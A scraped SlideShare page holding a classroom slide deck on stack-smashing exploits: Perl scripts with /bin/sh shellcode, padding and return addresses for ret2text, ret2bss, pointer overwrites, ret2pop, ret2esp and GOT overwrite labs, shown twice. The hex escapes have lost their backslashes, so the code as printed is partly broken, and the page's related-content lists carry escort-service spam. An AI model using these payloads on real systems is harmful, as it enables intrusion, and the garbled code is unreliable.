SlideShare ist ein Scribd-Unternehmen logo
1 von 14
ret2text.c
• Here the exploit is executed by overflowing the buffer, corrupting the old ebp value and replacing the
return address by the address of secret function.
• This exploit allows to execute secret function even though guid is not equal to “0”.
• EXPLOIT SCRIPT:
• #!/usr/bin/perl
# This address must match the address of secret function in the victim's program */
my $retaddr = "x96x84x04x08"; #0x8048496
# Fill NOP instruction
my $pad = "x90" x 24; #overwriting buffer and EBP
# Input string to our victim's program
my $arg = $pad.$retaddr;
# Let us store the input string to a file
open OUT, "> payload_ret2text";
print OUT $arg;
close OUT;
• EVIDENCE SCREENSHOT:
• The address of the secret function
is obtained.
• Observe the stack frame of the
public function to check the buffer
size allocated.
• Prepare a payload using the script
as shown in the previous page.
• The payload must be 24 bytes of
NOP + 4 bytes to overwrite return
address.
• Inject the payload and the function
prints “secret”.
ret2bss.c
• This exploit makes use of the address of the global buffer since it does not change.
• You need not worry about the local buffer size and address
• EXPLOIT SCRIPT:
• my $shellcode =
"x31xc0". # xorl %eax, %eax
"x50". # pushl %eax
"x68x6ex2fx73x68". # pushl $0x68732f6e
"x68x2fx2fx62x69". # pushl $0x69622f2f
"x89xe3" . # movl %esp, %ebx
"x99". # cltd
"x52". # pushl %edx
"x53". # pushl %ebx
"x89xe1". # movl %esp, %ecx
"xb0x0b" . # movb $0xb, %al
"xcdx80" # int $0x80
;
# This address must match the global buffer variable of the victim's program */
my $retaddr = "x40xa0x04x08"; #0x804a040
# Fill NOP instruction
my $pad = "x90" x 244;
# Input string to our victim's program
my $arg = $shellcode.$pad.$retaddr;
# Let us store the input string to a file
open OUT, "> payload_bss";
print OUT $arg;
close OUT;
EVIDENCE SCREENSHOT:
• Observe the stack frame of the
method function to check the
buffer size allocated.
• Prepare a payload to overwrite
the return address by the
address of the global buffer
• The payload must be of 272
bytes: 24 bytes shellcode + 244
bytes padding + 4 bytes return
address.
• Inject the payload and the shell
code gets executed, spawning
the shell.
strptr.c
• This exploit redirects the pointers to spawn a shell.
• Makes use of the vulnerable function strptr.
• Exploit Script:
• # this address must be the address of license pointer
my $licenseaddr = "x82x85x04x08x82x85x04x08"; #two times because you have to over the conf ptr address by license
ptr.
# Fill NOP instruction
my $pad = "x90" x 256;
# Input string to our victim's program
my $arg = $pad.$licenseaddr;
# Let us store the input string to a file
open OUT, "> payload_strptr";
print OUT $arg;
close OUT;
EVIDENCE SCREENSHOT:
• Disassemble main to find out the
address of the license and conf
pointers.
• Create a file with name “THIS”
and then add the following: echo
“you have been hahcked by
me…..”
/bin/sh
• Generate a payload of 264 bytes:
to overwrite conf ptr by license
ptr.
• Inject the payload, when the
control is transferred to system
function, the file “THIS” will be
executed and the shell will be
spawned.
funcptr.c
• This exploit redirects the function pointers to spawn a shell.
• Makes use of the vulnerable function strptr.
• Exploit script:
• # this address must be the address of system instruction
my $systemaddr = "x40x83x04x08";
# Fill NOP instruction
my $pad = "x90" x 64;
# Input string to our victim's program
my $arg = $pad.$systemaddr;
# Let us store the input string to a file
open OUT, "> payload_funcptr";
print OUT $arg;
close OUT;
EVIDENCE SCREENSHOT:
• Disassemble the function
method to know the address of
the system instruction.
• Generate a payload by using the
script as show in the previous
slide.
• The payload must of 68 bytes:
64 bytes NOP + 4 bytes of
system instruction address.
• Inject the payload as the first
input and the ‘/bin/sh’ as the
second input.
• The system instruction executes
/bin/sh and the shell is
spawned.
ret2pop.c
• This exploit makes use of the vulnerable function strcpy.
• EXPLOIT SCRIPT:
• my $shellcode =
"x31xc0". # xorl %eax, %eax
"x50". # pushl %eax
"x68x6ex2fx73x68". # pushl $0x68732f6e
"x68x2fx2fx62x69". # pushl $0x69622f2f
"x89xe3" . # movl %esp, %ebx
"x99". # cltd
"x52". # pushl %edx
"x53". # pushl %ebx
"x89xe1". # movl %esp, %ecx
"xb0x0b" . # movb $0xb, %al
"xcdx80" # int $0x80
;
# This address must match the address of the pop and ret instruction sequence
my $retaddr = "xcbx84x04x8"; #80484cb
# Fill NOP instruction
my $pad = "x90" x 244;
# Input string to our victim's program
my $arg = $pad.$shellcode.$retaddr;
# Let us store the input string to a file
open OUT, "> payload_ret2pop";
print OUT $arg;
close OUT;
EVIDENCE SCREENSHOT:
• Disassemble the function
method to obtain the buffer size
and observe the stack frame.
• Using objdum –d obtain the
address of the pop and ret
instructions.
• Prepare a payload using the
script shown in the previous
slide.
• Payload must be 272 bytes: 244
bytes pad + 24 bytes shellcode +
4 bytes ret address.
• Inject the payload and the shell
is spawned as shown in the
figure.
ret2esp.c
• This exploit makes use of the jmp *esp instruction to control the flow of execution.
• It is done by determining the address of 58623 and hence the address of jmp *esp instruction.
• EXPLOIT SCRIPT:
• my $shellcode =
"x31xc0". # xorl %eax, %eax
"x50". # pushl %eax
"x68x6ex2fx73x68". # pushl $0x68732f6e
"x68x2fx2fx62x69". # pushl $0x69622f2f
"x89xe3" . # movl %esp, %ebx
"x99". # cltd
"x52". # pushl %edx
"x53". # pushl %ebx
"x89xe1". # movl %esp, %ecx
"xb0x0b" . # movb $0xb, %al
"xcdx80" # int $0x80
;
# This address must match the address where jmp *%esp or ff e4 instruction is stored
my $retaddr = "x42x84x04x08"; #8048424
# Fill NOP instruction
my $pad = "x90" x 268; # times because I need 16 bytes to hit the return address. 9+7 = 16.
# Input string to our victim's program
my $arg = $pad.$retaddr.$shellcode;
# Let us store the input string to a file
open OUT, "> payload_ret2esp";
print OUT $arg;
close OUT;
EVIDENCE SCREENSHOT:
• Disassemble the main program
and obtain the address of “ff e4”.
• Disassemble the function method
to observe the stack structure and
obtain the size of the buffer.
• Generate a payload using the
script as shown in the previous
slide.
• Payload = 268 bytes Pad + 4 bytes
ret address + 24 bytes shellcode.
• Inject the payload and the shell is
spawned as shown in the figure.
ret2got.c
• In this exploit the first strcpy instruction is used to overflow the buffer array and overwrite ptr by
printf GOT reference.
• This is accomplished by using the second strcpy and overwriting GOT entry of printf.
• EXPLOIT SCRIPT:
• ./ret2got `perl -e 'print "A"x8 . "x0cxa0x04x08"'` `perl -e 'print "x46x83x04x08“’`
• Entry for printf is 0x804a00c
• Dynamic linker address for system is 0x08048346
EVIDENCE SCREENSHOT:
• Disassemble main and obtain the
relevant entry point for ptintf i.e.
0x804a00c
• Disassemble anyfunction to obtain
the address where dynamic linker
call of the system happens i.e.
0x08048346
• The payload must have 8 bytes
followed by 4 bytes address of
printf and 4 bytes address where
system call happens.
• Create a file called array and add
the following instruction: /bin/sh
• Inject the payload and the shell is
spawned as shown in the figure.

Weitere ähnliche Inhalte

Was ist angesagt?

Software requirements specification of Library Management System
Software requirements specification of Library Management SystemSoftware requirements specification of Library Management System
Software requirements specification of Library Management SystemSoumili Sen
 
Safety app for woman
Safety app for womanSafety app for woman
Safety app for womanSMNajrulHowlader
 
Hospital Management System
Hospital Management SystemHospital Management System
Hospital Management SystemPranil Dukare
 
Vehicle tracking system
Vehicle tracking systemVehicle tracking system
Vehicle tracking systemSujit9561
 
E book management system
E book management systemE book management system
E book management systemBarani Tharan
 
Veeam Presentation
Veeam PresentationVeeam Presentation
Veeam Presentationcvaleze
 
SRS for Library Management System
SRS for Library Management SystemSRS for Library Management System
SRS for Library Management SystemToseef Hasan
 
Employee Management System (EMS) Project Documentation
Employee Management System (EMS) Project DocumentationEmployee Management System (EMS) Project Documentation
Employee Management System (EMS) Project DocumentationMd. Rasel Hossain
 
Super marketbillingsystemproject
Super marketbillingsystemprojectSuper marketbillingsystemproject
Super marketbillingsystemprojectVickey Mahant
 
Student Management System
Student Management SystemStudent Management System
Student Management SystemAmit Gandhi
 
Introducing Dapr.io - the open source personal assistant to microservices and...
Introducing Dapr.io - the open source personal assistant to microservices and...Introducing Dapr.io - the open source personal assistant to microservices and...
Introducing Dapr.io - the open source personal assistant to microservices and...Lucas Jellema
 
Library management system synopsis
Library management system synopsisLibrary management system synopsis
Library management system synopsisShubham Upadhyay
 
Hospital management system (php project) web engineering
Hospital management system (php project) web engineeringHospital management system (php project) web engineering
Hospital management system (php project) web engineeringIftikhar Ahmad
 
Mini Project presentation for MCA
Mini Project presentation for MCAMini Project presentation for MCA
Mini Project presentation for MCAAbishek Purushothaman
 
On-line book store presentation
On-line book store presentation On-line book store presentation
On-line book store presentation Smit Patel
 
17337071 srs-library-management-system
17337071 srs-library-management-system17337071 srs-library-management-system
17337071 srs-library-management-systemANAS NAIN
 
MCA 6th Sem Project Report
MCA 6th Sem Project ReportMCA 6th Sem Project Report
MCA 6th Sem Project ReportPRADEEP GUPTA
 
Minor project Report for "Quiz Application"
Minor project Report for "Quiz Application"Minor project Report for "Quiz Application"
Minor project Report for "Quiz Application"Harsh Verma
 
Project presentation
Project presentationProject presentation
Project presentationDaily Ki Jobs
 

Was ist angesagt? (20)

Software requirements specification of Library Management System
Software requirements specification of Library Management SystemSoftware requirements specification of Library Management System
Software requirements specification of Library Management System
 
Safety app for woman
Safety app for womanSafety app for woman
Safety app for woman
 
Hospital Management System
Hospital Management SystemHospital Management System
Hospital Management System
 
Vehicle tracking system
Vehicle tracking systemVehicle tracking system
Vehicle tracking system
 
E book management system
E book management systemE book management system
E book management system
 
Veeam Presentation
Veeam PresentationVeeam Presentation
Veeam Presentation
 
SRS for Library Management System
SRS for Library Management SystemSRS for Library Management System
SRS for Library Management System
 
Employee Management System (EMS) Project Documentation
Employee Management System (EMS) Project DocumentationEmployee Management System (EMS) Project Documentation
Employee Management System (EMS) Project Documentation
 
Super marketbillingsystemproject
Super marketbillingsystemprojectSuper marketbillingsystemproject
Super marketbillingsystemproject
 
Student Management System
Student Management SystemStudent Management System
Student Management System
 
Introducing Dapr.io - the open source personal assistant to microservices and...
Introducing Dapr.io - the open source personal assistant to microservices and...Introducing Dapr.io - the open source personal assistant to microservices and...
Introducing Dapr.io - the open source personal assistant to microservices and...
 
Library management system synopsis
Library management system synopsisLibrary management system synopsis
Library management system synopsis
 
Hostel management
Hostel managementHostel management
Hostel management
 
Hospital management system (php project) web engineering
Hospital management system (php project) web engineeringHospital management system (php project) web engineering
Hospital management system (php project) web engineering
 
Mini Project presentation for MCA
Mini Project presentation for MCAMini Project presentation for MCA
Mini Project presentation for MCA
 
On-line book store presentation
On-line book store presentation On-line book store presentation
On-line book store presentation
 
17337071 srs-library-management-system
17337071 srs-library-management-system17337071 srs-library-management-system
17337071 srs-library-management-system
 
MCA 6th Sem Project Report
MCA 6th Sem Project ReportMCA 6th Sem Project Report
MCA 6th Sem Project Report
 
Minor project Report for "Quiz Application"
Minor project Report for "Quiz Application"Minor project Report for "Quiz Application"
Minor project Report for "Quiz Application"
 
Project presentation
Project presentationProject presentation
Project presentation
 

Ähnlich wie Smashing The Stack

Automate Payload Generation for a Given Binary and Perform Attack
Automate Payload Generation for a Given Binary and Perform AttackAutomate Payload Generation for a Given Binary and Perform Attack
Automate Payload Generation for a Given Binary and Perform AttackAbhishek BV
 
Sending a for ahuh. win32 exploit development old school
Sending a for ahuh. win32 exploit development old schoolSending a for ahuh. win32 exploit development old school
Sending a for ahuh. win32 exploit development old schoolNahidul Kibria
 
PECL Picks - Extensions to make your life better
PECL Picks - Extensions to make your life betterPECL Picks - Extensions to make your life better
PECL Picks - Extensions to make your life betterZendCon
 
Shellcode injection
Shellcode injectionShellcode injection
Shellcode injectionDhaval Kapil
 
Perl at SkyCon'12
Perl at SkyCon'12Perl at SkyCon'12
Perl at SkyCon'12Tim Bunce
 
smash the stack , Menna Essa
smash the stack , Menna Essasmash the stack , Menna Essa
smash the stack , Menna EssaCATReloaded
 
Lecture 3 Perl & FreeBSD administration
Lecture 3 Perl & FreeBSD administrationLecture 3 Perl & FreeBSD administration
Lecture 3 Perl & FreeBSD administrationMohammed Farrag
 
2011-03 Developing Windows Exploits
2011-03 Developing Windows Exploits 2011-03 Developing Windows Exploits
2011-03 Developing Windows Exploits Raleigh ISSA
 
Workshop Infrastructure as Code - Suestra
Workshop Infrastructure as Code - SuestraWorkshop Infrastructure as Code - Suestra
Workshop Infrastructure as Code - SuestraMario IC
 
Analysis of Haiku Operating System (BeOS Family) by PVS-Studio. Part 2
Analysis of Haiku Operating System (BeOS Family) by PVS-Studio. Part 2Analysis of Haiku Operating System (BeOS Family) by PVS-Studio. Part 2
Analysis of Haiku Operating System (BeOS Family) by PVS-Studio. Part 2PVS-Studio
 
All The Little Pieces
All The Little PiecesAll The Little Pieces
All The Little PiecesAndrei Zmievski
 
Dive into exploit development
Dive into exploit developmentDive into exploit development
Dive into exploit developmentPayampardaz
 
A Post About Analyzing PHP
A Post About Analyzing PHPA Post About Analyzing PHP
A Post About Analyzing PHPAndrey Karpov
 
Create an auto-extractible shell script linux
Create an auto-extractible shell script linuxCreate an auto-extractible shell script linux
Create an auto-extractible shell script linuxThierry Gayet
 
Learning Puppet basic thing
Learning Puppet basic thing Learning Puppet basic thing
Learning Puppet basic thing DaeHyung Lee
 
PSGI and Plack from first principles
PSGI and Plack from first principlesPSGI and Plack from first principles
PSGI and Plack from first principlesPerl Careers
 

Ähnlich wie Smashing The Stack (20)

Automate Payload Generation for a Given Binary and Perform Attack
Automate Payload Generation for a Given Binary and Perform AttackAutomate Payload Generation for a Given Binary and Perform Attack
Automate Payload Generation for a Given Binary and Perform Attack
 
Sending a for ahuh. win32 exploit development old school
Sending a for ahuh. win32 exploit development old schoolSending a for ahuh. win32 exploit development old school
Sending a for ahuh. win32 exploit development old school
 
Pecl Picks
Pecl PicksPecl Picks
Pecl Picks
 
Format String Exploitation
Format String ExploitationFormat String Exploitation
Format String Exploitation
 
PECL Picks - Extensions to make your life better
PECL Picks - Extensions to make your life betterPECL Picks - Extensions to make your life better
PECL Picks - Extensions to make your life better
 
Unix executable buffer overflow
Unix executable buffer overflowUnix executable buffer overflow
Unix executable buffer overflow
 
Shellcode injection
Shellcode injectionShellcode injection
Shellcode injection
 
Perl at SkyCon'12
Perl at SkyCon'12Perl at SkyCon'12
Perl at SkyCon'12
 
smash the stack , Menna Essa
smash the stack , Menna Essasmash the stack , Menna Essa
smash the stack , Menna Essa
 
Lecture 3 Perl & FreeBSD administration
Lecture 3 Perl & FreeBSD administrationLecture 3 Perl & FreeBSD administration
Lecture 3 Perl & FreeBSD administration
 
2011-03 Developing Windows Exploits
2011-03 Developing Windows Exploits 2011-03 Developing Windows Exploits
2011-03 Developing Windows Exploits
 
Workshop Infrastructure as Code - Suestra
Workshop Infrastructure as Code - SuestraWorkshop Infrastructure as Code - Suestra
Workshop Infrastructure as Code - Suestra
 
Analysis of Haiku Operating System (BeOS Family) by PVS-Studio. Part 2
Analysis of Haiku Operating System (BeOS Family) by PVS-Studio. Part 2Analysis of Haiku Operating System (BeOS Family) by PVS-Studio. Part 2
Analysis of Haiku Operating System (BeOS Family) by PVS-Studio. Part 2
 
Exploitation Crash Course
Exploitation Crash CourseExploitation Crash Course
Exploitation Crash Course
 
All The Little Pieces
All The Little PiecesAll The Little Pieces
All The Little Pieces
 
Dive into exploit development
Dive into exploit developmentDive into exploit development
Dive into exploit development
 
A Post About Analyzing PHP
A Post About Analyzing PHPA Post About Analyzing PHP
A Post About Analyzing PHP
 
Create an auto-extractible shell script linux
Create an auto-extractible shell script linuxCreate an auto-extractible shell script linux
Create an auto-extractible shell script linux
 
Learning Puppet basic thing
Learning Puppet basic thing Learning Puppet basic thing
Learning Puppet basic thing
 
PSGI and Plack from first principles
PSGI and Plack from first principlesPSGI and Plack from first principles
PSGI and Plack from first principles
 

KĂźrzlich hochgeladen

Top Rated Call Girls In chittoor 📱 {7001035870} VIP Escorts chittoor
Top Rated Call Girls In chittoor 📱 {7001035870} VIP Escorts chittoorTop Rated Call Girls In chittoor 📱 {7001035870} VIP Escorts chittoor
Top Rated Call Girls In chittoor 📱 {7001035870} VIP Escorts chittoordharasingh5698
 
Unit 2- Effective stress & Permeability.pdf
Unit 2- Effective stress & Permeability.pdfUnit 2- Effective stress & Permeability.pdf
Unit 2- Effective stress & Permeability.pdfRagavanV2
 
Thermal Engineering Unit - I & II . ppt
Thermal Engineering  Unit - I & II . pptThermal Engineering  Unit - I & II . ppt
Thermal Engineering Unit - I & II . pptDineshKumar4165
 
Intro To Electric Vehicles PDF Notes.pdf
Intro To Electric Vehicles PDF Notes.pdfIntro To Electric Vehicles PDF Notes.pdf
Intro To Electric Vehicles PDF Notes.pdfrs7054576148
 
Unleashing the Power of the SORA AI lastest leap
Unleashing the Power of the SORA AI lastest leapUnleashing the Power of the SORA AI lastest leap
Unleashing the Power of the SORA AI lastest leapRishantSharmaFr
 
Online banking management system project.pdf
Online banking management system project.pdfOnline banking management system project.pdf
Online banking management system project.pdfKamal Acharya
 
University management System project report..pdf
University management System project report..pdfUniversity management System project report..pdf
University management System project report..pdfKamal Acharya
 
AKTU Computer Networks notes --- Unit 3.pdf
AKTU Computer Networks notes ---  Unit 3.pdfAKTU Computer Networks notes ---  Unit 3.pdf
AKTU Computer Networks notes --- Unit 3.pdfankushspencer015
 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXssuser89054b
 
Double rodded leveling 1 pdf activity 01
Double rodded leveling 1 pdf activity 01Double rodded leveling 1 pdf activity 01
Double rodded leveling 1 pdf activity 01KreezheaRecto
 
Bhosari ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For ...
Bhosari ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For ...Bhosari ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For ...
Bhosari ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For ...tanu pandey
 
FEA Based Level 3 Assessment of Deformed Tanks with Fluid Induced Loads
FEA Based Level 3 Assessment of Deformed Tanks with Fluid Induced LoadsFEA Based Level 3 Assessment of Deformed Tanks with Fluid Induced Loads
FEA Based Level 3 Assessment of Deformed Tanks with Fluid Induced LoadsArindam Chakraborty, Ph.D., P.E. (CA, TX)
 
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Bookingdharasingh5698
 
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Stand
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night StandCall Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Stand
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Standamitlee9823
 
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...roncy bisnoi
 
UNIT - IV - Air Compressors and its Performance
UNIT - IV - Air Compressors and its PerformanceUNIT - IV - Air Compressors and its Performance
UNIT - IV - Air Compressors and its Performancesivaprakash250
 
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...SUHANI PANDEY
 
data_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdfdata_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdfJiananWang21
 

KĂźrzlich hochgeladen (20)

Top Rated Call Girls In chittoor 📱 {7001035870} VIP Escorts chittoor
Top Rated Call Girls In chittoor 📱 {7001035870} VIP Escorts chittoorTop Rated Call Girls In chittoor 📱 {7001035870} VIP Escorts chittoor
Top Rated Call Girls In chittoor 📱 {7001035870} VIP Escorts chittoor
 
Unit 2- Effective stress & Permeability.pdf
Unit 2- Effective stress & Permeability.pdfUnit 2- Effective stress & Permeability.pdf
Unit 2- Effective stress & Permeability.pdf
 
Thermal Engineering Unit - I & II . ppt
Thermal Engineering  Unit - I & II . pptThermal Engineering  Unit - I & II . ppt
Thermal Engineering Unit - I & II . ppt
 
Intro To Electric Vehicles PDF Notes.pdf
Intro To Electric Vehicles PDF Notes.pdfIntro To Electric Vehicles PDF Notes.pdf
Intro To Electric Vehicles PDF Notes.pdf
 
Unleashing the Power of the SORA AI lastest leap
Unleashing the Power of the SORA AI lastest leapUnleashing the Power of the SORA AI lastest leap
Unleashing the Power of the SORA AI lastest leap
 
Online banking management system project.pdf
Online banking management system project.pdfOnline banking management system project.pdf
Online banking management system project.pdf
 
University management System project report..pdf
University management System project report..pdfUniversity management System project report..pdf
University management System project report..pdf
 
AKTU Computer Networks notes --- Unit 3.pdf
AKTU Computer Networks notes ---  Unit 3.pdfAKTU Computer Networks notes ---  Unit 3.pdf
AKTU Computer Networks notes --- Unit 3.pdf
 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
 
Double rodded leveling 1 pdf activity 01
Double rodded leveling 1 pdf activity 01Double rodded leveling 1 pdf activity 01
Double rodded leveling 1 pdf activity 01
 
Bhosari ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For ...
Bhosari ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For ...Bhosari ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For ...
Bhosari ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For ...
 
Water Industry Process Automation & Control Monthly - April 2024
Water Industry Process Automation & Control Monthly - April 2024Water Industry Process Automation & Control Monthly - April 2024
Water Industry Process Automation & Control Monthly - April 2024
 
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak HamilCara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
 
FEA Based Level 3 Assessment of Deformed Tanks with Fluid Induced Loads
FEA Based Level 3 Assessment of Deformed Tanks with Fluid Induced LoadsFEA Based Level 3 Assessment of Deformed Tanks with Fluid Induced Loads
FEA Based Level 3 Assessment of Deformed Tanks with Fluid Induced Loads
 
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
 
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Stand
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night StandCall Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Stand
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Stand
 
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
 
UNIT - IV - Air Compressors and its Performance
UNIT - IV - Air Compressors and its PerformanceUNIT - IV - Air Compressors and its Performance
UNIT - IV - Air Compressors and its Performance
 
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
 
data_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdfdata_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdf
 

Smashing The Stack

  • 1. ret2text.c • Here the exploit is executed by overflowing the buffer, corrupting the old ebp value and replacing the return address by the address of secret function. • This exploit allows to execute secret function even though guid is not equal to “0”. • EXPLOIT SCRIPT: • #!/usr/bin/perl # This address must match the address of secret function in the victim's program */ my $retaddr = "x96x84x04x08"; #0x8048496 # Fill NOP instruction my $pad = "x90" x 24; #overwriting buffer and EBP # Input string to our victim's program my $arg = $pad.$retaddr; # Let us store the input string to a file open OUT, "> payload_ret2text"; print OUT $arg; close OUT;
  • 2. • EVIDENCE SCREENSHOT: • The address of the secret function is obtained. • Observe the stack frame of the public function to check the buffer size allocated. • Prepare a payload using the script as shown in the previous page. • The payload must be 24 bytes of NOP + 4 bytes to overwrite return address. • Inject the payload and the function prints “secret”.
  • 3. ret2bss.c • This exploit makes use of the address of the global buffer since it does not change. • You need not worry about the local buffer size and address • EXPLOIT SCRIPT: • my $shellcode = "x31xc0". # xorl %eax, %eax "x50". # pushl %eax "x68x6ex2fx73x68". # pushl $0x68732f6e "x68x2fx2fx62x69". # pushl $0x69622f2f "x89xe3" . # movl %esp, %ebx "x99". # cltd "x52". # pushl %edx "x53". # pushl %ebx "x89xe1". # movl %esp, %ecx "xb0x0b" . # movb $0xb, %al "xcdx80" # int $0x80 ; # This address must match the global buffer variable of the victim's program */ my $retaddr = "x40xa0x04x08"; #0x804a040 # Fill NOP instruction my $pad = "x90" x 244; # Input string to our victim's program my $arg = $shellcode.$pad.$retaddr; # Let us store the input string to a file open OUT, "> payload_bss"; print OUT $arg; close OUT;
  • 4. EVIDENCE SCREENSHOT: • Observe the stack frame of the method function to check the buffer size allocated. • Prepare a payload to overwrite the return address by the address of the global buffer • The payload must be of 272 bytes: 24 bytes shellcode + 244 bytes padding + 4 bytes return address. • Inject the payload and the shell code gets executed, spawning the shell.
  • 5. strptr.c • This exploit redirects the pointers to spawn a shell. • Makes use of the vulnerable function strptr. • Exploit Script: • # this address must be the address of license pointer my $licenseaddr = "x82x85x04x08x82x85x04x08"; #two times because you have to over the conf ptr address by license ptr. # Fill NOP instruction my $pad = "x90" x 256; # Input string to our victim's program my $arg = $pad.$licenseaddr; # Let us store the input string to a file open OUT, "> payload_strptr"; print OUT $arg; close OUT;
  • 6. EVIDENCE SCREENSHOT: • Disassemble main to find out the address of the license and conf pointers. • Create a file with name “THIS” and then add the following: echo “you have been hahcked by me…..” /bin/sh • Generate a payload of 264 bytes: to overwrite conf ptr by license ptr. • Inject the payload, when the control is transferred to system function, the file “THIS” will be executed and the shell will be spawned.
  • 7. funcptr.c • This exploit redirects the function pointers to spawn a shell. • Makes use of the vulnerable function strptr. • Exploit script: • # this address must be the address of system instruction my $systemaddr = "x40x83x04x08"; # Fill NOP instruction my $pad = "x90" x 64; # Input string to our victim's program my $arg = $pad.$systemaddr; # Let us store the input string to a file open OUT, "> payload_funcptr"; print OUT $arg; close OUT;
  • 8. EVIDENCE SCREENSHOT: • Disassemble the function method to know the address of the system instruction. • Generate a payload by using the script as show in the previous slide. • The payload must of 68 bytes: 64 bytes NOP + 4 bytes of system instruction address. • Inject the payload as the first input and the ‘/bin/sh’ as the second input. • The system instruction executes /bin/sh and the shell is spawned.
  • 9. ret2pop.c • This exploit makes use of the vulnerable function strcpy. • EXPLOIT SCRIPT: • my $shellcode = "x31xc0". # xorl %eax, %eax "x50". # pushl %eax "x68x6ex2fx73x68". # pushl $0x68732f6e "x68x2fx2fx62x69". # pushl $0x69622f2f "x89xe3" . # movl %esp, %ebx "x99". # cltd "x52". # pushl %edx "x53". # pushl %ebx "x89xe1". # movl %esp, %ecx "xb0x0b" . # movb $0xb, %al "xcdx80" # int $0x80 ; # This address must match the address of the pop and ret instruction sequence my $retaddr = "xcbx84x04x8"; #80484cb # Fill NOP instruction my $pad = "x90" x 244; # Input string to our victim's program my $arg = $pad.$shellcode.$retaddr; # Let us store the input string to a file open OUT, "> payload_ret2pop"; print OUT $arg; close OUT;
  • 10. EVIDENCE SCREENSHOT: • Disassemble the function method to obtain the buffer size and observe the stack frame. • Using objdum –d obtain the address of the pop and ret instructions. • Prepare a payload using the script shown in the previous slide. • Payload must be 272 bytes: 244 bytes pad + 24 bytes shellcode + 4 bytes ret address. • Inject the payload and the shell is spawned as shown in the figure.
  • 11. ret2esp.c • This exploit makes use of the jmp *esp instruction to control the flow of execution. • It is done by determining the address of 58623 and hence the address of jmp *esp instruction. • EXPLOIT SCRIPT: • my $shellcode = "x31xc0". # xorl %eax, %eax "x50". # pushl %eax "x68x6ex2fx73x68". # pushl $0x68732f6e "x68x2fx2fx62x69". # pushl $0x69622f2f "x89xe3" . # movl %esp, %ebx "x99". # cltd "x52". # pushl %edx "x53". # pushl %ebx "x89xe1". # movl %esp, %ecx "xb0x0b" . # movb $0xb, %al "xcdx80" # int $0x80 ; # This address must match the address where jmp *%esp or ff e4 instruction is stored my $retaddr = "x42x84x04x08"; #8048424 # Fill NOP instruction my $pad = "x90" x 268; # times because I need 16 bytes to hit the return address. 9+7 = 16. # Input string to our victim's program my $arg = $pad.$retaddr.$shellcode; # Let us store the input string to a file open OUT, "> payload_ret2esp"; print OUT $arg; close OUT;
